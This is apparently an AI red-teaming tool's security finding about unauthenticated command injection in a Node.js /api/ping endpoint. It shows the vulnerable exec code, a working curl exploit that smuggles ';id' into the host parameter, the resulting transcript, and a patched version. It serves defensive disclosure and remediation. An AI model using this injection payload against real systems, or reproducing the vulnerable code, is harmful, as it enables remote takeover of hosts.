Rook
AI red-teamer · 42nights

Unauthenticated Remote Command Execution via /api/ping host parameter

critical9.8

auth-bypass · server.js:29-35

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The HTTP handler at server.js:29 routes any request for /api/ping directly into Node's child_process.exec with the user-supplied host query parameter interpolated into the shell command string. There is no authentication, authorization, or input validation gating this code path, and the use of exec invokes /bin/sh, allowing shell metacharacters in the host value to be interpreted as additional commands. The server should require an authenticated session and pass arguments via execFile with a strict allowlist/format check, but instead it executes whatever any anonymous caller supplies.

Impact. Anyone who can reach the service over the network can run arbitrary shell commands as the Node process user. The validated transcript shows `?host=127.0.0.1;id` returning the output of `id` (uid=501, groups including admin), confirming arbitrary command execution. From here an attacker can read or modify any file the process can access, install persistence, pivot to internal systems, exfiltrate secrets/credentials, or destroy data — effectively full host compromise.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/ping") {
🔴 const host = q.host || "127.0.0.1";
🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
🔴 send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
🔴 });
🔴 return;
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
HTTP 200  Content-Type: text/plain
ping result for 127.0.0.1;id:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.070 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.070/0.070/0.070/nan ms
uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)

Confirmed: uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts)...

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 (critical)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Add authentication middleware to all /api/* routes and stop passing user input to a shell. Example patch:

--- a/server.js
+++ b/server.js
@@
-  if (parsed.pathname === "/api/ping") {
-    const host = q.host || "127.0.0.1";
-    exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
-      send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
-    });
-    return;
-  }
+  if (parsed.pathname === "/api/ping") {
+    if (!requireAuth(req, res)) return; // 401 if no valid session/token
+    const host = (q.host || "127.0.0.1").toString();
+    // Strict allowlist: IPv4/IPv6/hostname characters only, no shell metachars
+    if (!/^[a-zA-Z0-9.\-:]{1,253}$/.test(host)) {
+      send(res, 400, "invalid host");
+      return;
+    }
+    execFile("ping", ["-c", "1", "-W", "2", host], { timeout: 4000 }, (err, stdout, stderr) => {
+      send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
+    });
+    return;
+  }

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.